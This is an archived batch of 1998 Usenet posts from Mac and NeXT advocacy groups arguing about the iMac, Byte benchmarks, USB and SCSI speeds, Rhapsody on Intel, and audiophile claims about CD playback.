In article <macghod-1808982144520001@sdn-ar-001casbarp215.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <35e28031.25549037@news.calweb.com>,
> hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> > Apparently Apple doesn't agree with you. Now you can buy a Mac that
> > makes the floppy an option (ie, one you have to pay more to get).
>
> Ahhh, the "the imac shows how visionary apple is" argument.
> Question. How come the new mac g3's that were released about the same
> time as the imac MAKE you pay for a floppy drive? The imac gives you no
> option to have your computer COME with a internal floppy, and the new g3s
> give you no option to have your computer NOT come with a internal floppy.
>
> What the F*** is up with this? Joe R says a mac internal floppy Costs
> *APPLE* at least $50. A imation internal ide superdisk does EXACTLY what
When are you going to learn to quote people?
I said "probably" $50, indicating that it was just a guess. I don't have
any way of knowing what Apple pays for floppies, nor do you.
> the macs floppy drive does, PLUS gives high ammount of storage, and RETAIL
> is as low as only $60.
>
> Numerous sources have said how the bottom of several imac motherboards
> have the same name as the codename for the apple NC. Basically apple just
> reformed the FAILED NC into a consumer machine, and all the apple fanatics
> are too blind to see it isnt innovativeness.
And numerous other sources say it's the same motherboard as the
PowerBooks. Maybe you should provide evidence to back up your claims.
And I don't see anyone claiming innovativeness for the iMac. That's a
typical strawman argument.
Lots of people have stated that it's a nice package for the money. I don't
see any arguments that it's a great innovation--at least not from the Mac
advocate side.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 08:07:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1908980807560001@wil70.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net>
In article <tim-1808981644030001@jump-tnt-0044.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> In article <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> | That's what YOU think! I have been fooling with this stuff
> | long enough to know better and I have an Electrical Engineering
> | degree which tells me that I should know better. In these cases
> | I have to put my engineering background on hold and trust my
> | ears.
>
> If you throw science and engineering away based upon what you *think* you
> hear (without any scientific method to back it up) you shouldn't consider
> yourself an engineer or scientist.
Not true.
I'm a scientist. While throwing science and engineering away isn't
appropriate, a long-standing tradition in science is observation. In fact,
observation as a part of the scientific principle goes back at least as
far as Aristotle.
A scientist always has his eyes (or ears) open. When they see an
phenomenon that isn't explainable with existing theories, they explore it
in more detail to try to understand it. Some times, the reach the
conclusion that their observations were in error and the phenomenon wasn't
real. Sometimes, they discover some new effect. Sometimes they find that
an existing effect explains it. And sometimes they can't reach a
conclusion and have to drop it.
But no self-respecting scientist neglects observation.
Engineers are somewhat different by the nature of their work. A good
engineer practices many of the same things as scientists, but at work,
they're often more concerned about just making something work rather than
explaining it. (Broad generalization, but true on average).
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 08:01:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1908980801300001@wil70.dol.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6rcjt8$3hv$1@callisto.acsu.buffalo.edu>
In article <6rcjt8$3hv$1@callisto.acsu.buffalo.edu>,
scholl@callisto.acsu.buffalo.edu (Edward P Scholl) wrote:
> George Graves (gmgraves@slip.net) wrote:
>
> : But is the beam ITSELF visible red? It is possible that the laser
> : LED itself produces some red light INSIDE the laser diode, but
> : its the color of the laser beam itself that concerns us. If it is red,
> : then you would see a slim column of red light emitting from the
> : laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> : Bond, I expect you to DIE!"). This would be visible from the side. No
> : visible red laser beam, then its not a red laser.
>
> i believe lasers are pretty much visible light by definitiion... someone
> can correct me if i'm wrong/ there might be other types of lasers.
>
Nope. Lasers can be IR, UV, or even other wavelengths.
In some cases, the name changes. For example, a laser in the microwave
region is called a "maser". But IR and UV lasers are called "lasers".
> anyways, even w/ a visible light laser, you wouldn't be able to see the
> beam itself unless there was something in the air (dust, smoke, water
> vapor, etc) diffracting it.
Or if you see the light reflected off of something. Or if you shine it
into your eye (definitely not a good idea). Other than those exceptions,
you're right. You need a scattering medium before you can see a laser if
you're looking at it from the side.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Kyle Adams <kadams54@calvin.edu>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 07:06:12 -0500
Organization: Eli Lilly and Company
Message-ID: <35DABFB3.52EC76C4@calvin.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net> <oTjCkFAdwd21EwJz@circlesquare.demon.co.uk> <35e7302c.64622203@198.0.0.100> <35da3b36.0@news.depaul.edu> <35ec584b.74893468@198.0.0.100>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Once again, the point here is not what YOU would do, or even what the BEST
thing to do would be. The point is, the average user is intimidated by
adding a new peripheral, let alone opening up the computer and fiddling with
the innards. You might never stuff the old computer in the closet, but the
average person that wants to use a computer much like they use their
microwave or car is.
Kyle
Date: Wed, 19 Aug 1998 08:48:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1908980848360001@wil70.dol.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net> <6r8jgg$m31$1@news.iswest.net> <6r8k37$mec$1@news.iswest.net> <1ddwnw1.zzi6nrokmzdaN@dock08-06.ner.pangea.ca>
In article <1ddwnw1.zzi6nrokmzdaN@dock08-06.ner.pangea.ca>,
no.damned.spam@this.address (Wayne C. Morris) wrote:
> Steven M. Scharf <scharf@grin.net> wrote:
>
> > However observer that even if all the USB bandwidth were used for just a
> > HiFD drive, the USB interface would still be too slow to keep up with the
> > drive. USB is simply not designed for high speed peripherals like disk
> > drives
>
> Did you bother to do any research before forming your opinion?
>
> Standard SCSI ZIP drives like the one I own are advertised as having a
> maximum data transfer speed of 1.4MBytes/sec., roughly the same as USB.
> The parallel port ZIP drives used by many PC owners are even slower.
>
> I have two internal hard drives, which I timed using a benchmark
> utility. The original drive maxes out at 3.5MBytes/sec. My new drive,
> which La Cie advertises as having a maximum transfer speed of
> 20MBytes/sec., actually maxes out at only 4MBytes/sec -- limited, no
> doubt, by the speed of the standard SCSI bus in my Mac.
Possible. But it may also be limited by the speed of the drive itself.
Drive vendors like to quote the maximum interface rate without mentioning
that actual transfer rates are much lower because few drives are able to
exceed even the speed of the old fast SCSI-2 standard that's in my 3 year
old 7500.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 09:03:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <joe.ragosta-1908980903450001@wil70.dol.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net>
In article <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <stone-1808981820410001@rc-pm3-1-06.enetis.net>,
> stone@stoneentertainment.com (Kevin Stone) wrote:
>
> > > Steve Jobs is lieing
> >
> > I agree for the most part. But I would argue that Steve Jobs is not lying.
> >
> > A G3 is up to twice as fast as a PentiumII in Byte's Integer benchmark...
> > there is no argument from either side on that issue. It is a verifiable,
> > repeatable, provable fact.
>
> Really? I have the source code for Byte and Codewarrior 3 (the compiler
> used for the majority of software compiled for the mac). Please advise me
> how to repeat this fact.
Go to Byte's web site.
See what settings they used and what compiler they used.
Compile with their compiler and test it using their exact test conditions.
The fact that you got different results doesn't make Byte's results less
accurate. In fact, given that they're entire role in the industry has been
cross-platform comparisons, they're probably just a little bit better at
it than you.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 19 Aug 1998 09:54:19 -0400
Organization: phenix@interpath.com
Message-ID: <1de04hl.63ghpy7uznp3N@roxboro0-031.dyn.interpath.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
Michael Peck <Michael.Peck@ericsson.com> wrote:
> > MacOSX Server runs on Intel. Apple has not committed to ongoing Intel
> > support, but if sales warrant it they will.
>
> Funny how you speak for Apple.
I would think this is a self-evident statement. To take it to the
extreme - if 100% of the Window PC market buys MacOSX Server on Intel,
do you imagine for a minute that they'll say "Well, it'd be nice to be
the biggest software company on the planet, but even though we did a
Intel version, we don't like Intel so we're not going to continue with
this"?
Now, just what /exactly/ "sales warrant it" would mean is a whole
'nother question.
--
John Moreno
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 19 Aug 1998 09:54:16 -0400
Organization: phenix@interpath.com
Message-ID: <1de041j.1fpr4f3154di2aN@roxboro0-031.dyn.interpath.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com> <35D8C9AF.1E0B581B@ericsson.com> <6ram29$h83$1@lwnws01.ne.highway1.com> <35D9C58A.3F86BAE5@ericsson.com> <6rdii2$55c$2@lwnws01.ne.highway1.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
John Kheit <jkheit@mediaone.net> wrote:
> Of course if apple continues to pander to the feelings of inadequacy and
> insecurity in the mac community over meritorious solutions, I'm sure they
> might manage a way to actually shoot another foot.
The insecurity in the mac community (especially the programming
community) is whether they'll deliver anything or not - and the more
radical the change the greater the insecurity.
As an analogy - it's like being blindfolded and the difference between
some saying you're on the last step - take it and then you're on the
groud, jumping off the roof of a one story house - it's ok there's a
couple of mattresses to absorb your fall, and jump off a 50 story
building - it's ok we've got the big air bag used in movies.
And the person telling you all of this? It's Lucy from Charlie Brown.
--
John Moreno
Date: Wed, 19 Aug 1998 09:53:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Message-ID: <joe.ragosta-1908980953560001@wil51.dol.net>
References: <6rdmoe$drt@news1.panix.com> <6rejet$mmq$1@unlnews.unl.edu>
In article <6rejet$mmq$1@unlnews.unl.edu>, rdieter@math.unl.edu (Rex
Dieter) wrote:
> In article <6rdmoe$drt@news1.panix.com> sal@panix.com (Sal Denaro) writes:
>
> > I've talked to Apple people and I get the impression that they do not
> > expect MacOSX Server for PCs to sell all that well. They cite the fact
> > that it will not be able to run any legacy Apps as the major stumbling
> > block.
>
> I disagree. IMHO, the major stumbling block is the fact that Apple has
> said that PC support is dead and gone after the first release of Rhapsody
> 1.0, aka MacOS X Server. Why buy a dead-end product?
I suspect both are true.
You're right that Apple has limited any potential success for Rhapsody on
Intel by pre-announcing its demise. At the same time, the number of apps
is somewhat limited. While the 100 or so apps available for Rhapsody on
its launch date will exceed the number available for Win95 on its launch
date by more than an order of magnitude, there is likely to be slower
growth in the number of available apps past that point--with Apple's
killing of Rhaptel as part of the reason.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 09:47:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1908980947570001@wil51.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net> <joe.ragosta-1908980807560001@wil70.dol.net> <tim-1908980821320001@jump-tnt-0176.customer.jump.net>
In article <tim-1908980821320001@jump-tnt-0176.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> I wrote:
>
> | > If you throw science and engineering away based upon what you *think* you
> | > hear (without any scientific method to back it up) you shouldn't consider
> | > yourself an engineer or scientist.
>
> In article <joe.ragosta-1908980807560001@wil70.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) replied:
>
> | Not true.
> |
> | I'm a scientist. While throwing science and engineering away isn't
> | appropriate, a long-standing tradition in science is observation. In fact,
> | observation as a part of the scientific principle goes back at least as
> | far as Aristotle.
>
> That doesn't contradict what I said: "... (without any scientific method
> to back it up)". Raw observation without scientific method guiding it is
> pretty useless.
But raw observation is the first step of scientific method. You can't
separate them.
Now, if you observe something and make no effort to understand or measure
it, then you've abandoned scientific method. In George's case, he has done
a great deal to try to understand the phenomenon--and he is apparently
continuing to do so.
That's not to say that his hypothesis is correct. I think that even George
would admit that there's a possibility that what he's hearing is caused by
something else. But his observations are quite valid.
You're correct in that observation alone can be weak--particulary effects
that are so subtle that only a small number of people can hear. This is
the type of phenomenon that's hardest to study, not the least because of
the tendency for people who don't hear the difference (or who have
pre-conceived notions) to say "I can't hear it, so he's just a crackpot".
I'm aware of some tests in the early days of consumer CD players where a
group of skilled listeners could just barely even tell the difference
between one CD player and another in carefully controlled side-by-side
tests, much less saying which was better (the key is controlling the
volume to something like 0.01db since even very tiny differences in volume
can generate differences in perceived quality).
Georges claims are hard to understand--which is why I have been pursuing
the scientific method with questions like:
"What do you think might account for the difference?"
"Given that hypothesis, how could you measure a difference with something
other than your hearing?"
And so on.
Frankly, I personally don't see any way that the green magic marker could
have the effect being described on a digital recording unless it were
markedly reducing the number of errors--which should be measurable. But I
can't reject his hypothesis entirely without giving him the chance to
provide testable hypotheses (which he has done).
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 18 Aug 1998 23:48:43 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <jak-1808982348440001@dialup110.phnx.uswest.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <35d98440.15799568@news.netdirect.net>, ev515o@hotxxxmail.com
(Mayor Of R'lyeh) wrote:
>Then I hope you enjoy using what others tell you to use. If swapping a
>soundcard is really more than you can handle, then that's what you're
>going to be doing.
Why do I need to swap a soundcard? Isn't CD-quality built-in sound enough?
(It's nice for developers to know they can count on a single sound
interface, too.)
And the point is, should a new user have to deal with swapping cards? You
and I can act gung-ho about ripping apart our machines (yes, my Mac is
pretty expandable, too), but if someone doesn't want to think about such
things, does that make him or her a "wuss"? I don't know how to make a
microwave oven, but I find it useful - that's why I let _someone else_
worry about building it, and I bought it. To many potential computer
users, we are that "someone else".
john
--
We live only to discover beauty. All else is a form of waiting. - Kahlil Gibran
jak@asu.edu - http://www.public.asu.edu/~jkestner/
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: 19 Aug 98 00:02:29 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1FFC698-6CC0E@206.165.43.134>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
>
>Really? I have the source code for Byte and Codewarrior 3 (the compiler
>used for the majority of software compiled for the mac). Please advise me
>how to repeat this fact.
Actually, most development work is done using CodeWarrior but if you need
the highest speed, you do your final build using Mr C or some other, more
efficient PPC compiler (Motorola, perhaps?).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Graham C" <grahamc@ctxuk.citrix.com>
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net> <6ra8ca$3l4$1@ec.arbat.com>
<1ddyvqv.1c6dl051oso7z6N@dialup156-2-46.swipnet.se>
Organization: Citrix Systems (UK) Ltd.
Message-ID: <01bdcb0d$6ef64a90$76801e0a@feynman>
Cache-Post-Path: proxy0.ctxuk.citrix.com!unknown@feynman.ctxuk.citrix.com
Date: 18 Aug 98 17:06:35 GMT
Lars Farm <lars.farm@ite.mh.se> wrote in article
<1ddyvqv.1c6dl051oso7z6N@dialup156-2-46.swipnet.se>...
> Just guessing here. Delays directly due to the distance that light
> travels seems unreasonably small. Perhaps the green thing (inexplicably)
> causes a lower bit error rate. An error would need some nontrivial
> computations (Reed Solomon code(?)) for error correction and that could
> perhaps cause a short localized delay in the bitstream if the CD clock
> isn't properly locked to the corrected stream.
>
> (not particularly relevant to c.s.m/n.a, but seems to catch some
> interest by others than me anyway. Plus the thread has turned into
> something that contains very little Apple frustration for a change...;-)
>
>
> --
> Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
>
The computations for error correction do not take up extra time the more
errors there are since the algorithm is effectively executed in parallel.
Anyway, data read from the disc is decoded, corrected and buffered and the
audio stream is driven by a fixed clock from this cache, not directly from
the disc, so any mechanical effects are removed.
Personally, I believe the "green thing" is a myth- it has no real effect. I
know some people believe there's an effect but then some people believe in
all sorts of rubbish, so that doesn't make it true.
Some CD player features such as oversampling, etc. do have genuine
quantifiable benefits on sound quality but are often talked about with the
same hocus-pocus ignorance that green pens and so forth are, so it's hard
for the layman to know what information is good and what could be safely
discarded.
Totally solid-state storage (for music if not data) is just around the
corner, so in some respects the CD's days may be numbered. With no moving
parts, reliability, battery life (for portables) etc. will increase beyond
all recognition.
GC.
Date: Wed, 19 Aug 1998 07:53:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Message-ID: <joe.ragosta-1908980753220001@wil70.dol.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>
In article <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6racqh$its$2@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean
Luke) wrote:
>
> > Eric Dew (edew@netcom.com) wrote:
> > : Joe Ragosta writes:
> > : >I used to laugh at all the CD players advertising their specs. They'd
> > : >fight over whether 20-20k +/- 0.5 db was better than 20-20k +/- 0.7
db. At
> > : >that point, it doesn't matter. Unless you've spent $10,000 on speakers,
> > : >the limiting factor is going to be your speakers.
> >
> > : Or, they're forgetting to buy $75/ft speaker cables or the $3000 pre-amp.
> >
> > Most studios have two pairs of speakers: big huge ones in the back that
> > boom a lot and impress the bigwigs when they want to hear what they paid
> > for, and small, almost consumer-grade, near field studio monitors that are
> > still reasonably flat but are closer to their intended audience. These
> > monitors cost between $250 and $1000, depending on the model. The most
> > common are Yamaha NS10s (but getting up in age now), but there are tons of
> > JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
> > had arranged it, that's what you buy. I's what *they* used to define the
> > sound to begin with. And I guarantee you'll hate it -- not "interesting
> > enough". All $10,000 speakers _really_ do is distort the high and low end
> > frequency levels to make the sound sound more "exciting".
>
> Bullshit. All speakers are flawed. Cheap ones sound like speakers. Expensive
> ones sound like music. To the extent that they sound like music, and in which
> areas of reproduction determine their price point and audience. You listen to
> a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
> Puppy's ($12000/pr) with the proper electronics and tell me that they are
> just distorting things to make them sound more exciting.
You know, I've always wanted to do that. Care to send me a set of Magnaplanars?
Actually, I had a friend who worked in an electronics store as a second
job and took his pay in electronics (including Magnaplanar speakers). His
stereo system was probably on par with yours (at least I know he spent
comparable amounts. Whether he spent that money wisely or not is beyond my
ability to determine).
I went over one time and listened. It was an impressive experience and one
that anyone who enjoys music should try. Your explanation is right on the
money. With a typical stereo system (even a good one), you feel like
you're listening to the stereo. With his system, you were hearing the
music as if you were surrounded by it--just like if you were in a concert
hall.
Great system. *sigh*
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 07:57:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1908980757470001@wil70.dol.net>
References: <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <asiufy-1508980125020001@200.229.243.200> <35de7c15.24497625@news.calweb.com>
In article <35de7c15.24497625@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Sat, 15 Aug 1998 01:24:57 -0300, asiufy@uol.com.br (Alexandre A.
> S.) wrote:
>
> > The fact that your Win95 hasn't failed with your hardware just
> >shows you're a savvy user, that keeps your drivers updated, and, of
> >course, you chose your hardware well, among the crap that prevails on the
> >PC marketplace.
>
> That is just pure and utter bullshit. I've done countless win95, NT,
> and win98 installs, and I've never had one fail due to any hardware
> problems. Give me a break. If you really think installing win95 or
> 98 is that difficult, you should not be using a computer. Good grief.
> You boot up with a dos disk. You format the drive. You pop in the
> cd. You run setup. You answer a few questions. Awhile later, you are
> done. Ta da. Gosh, that was tough!!!
Then maybe you could explain why I had constant problems with my NT box
until someone said it was the Lightspeed 128 video card. They said that NT
doesn't work well with these cards, even though the drivers are available.
I replaced the Lightspeed with a Millenium and it worked better.
Of course, I still couldn't get the sound working with my sound card (I
can't remember the brand, but it was a second tier brand--neither top of
the line, nor junk). I had to get rid of that and replace it with a
SoundBlaster.
There are lots of NT fans on this group who will report that you should
stick to high quality (usually name brand) components if you expect NT to
work well--or at all.
Win95 is not quite as picky, but it had trouble with my sound card, too.
It wouldn't play at all, no matter what I did to the settings or no matter
which slot the card went into.
Then, there are the pure hardware problems--like the FWB Sledgehammer SCSI
card that works in some PCI slots, but not others. The tech who finally
figured this one out said that's quite common for SCSI cards.
The list goes on.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 19 Aug 1998 07:23:27 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980819072206.28820E-100000@paule>
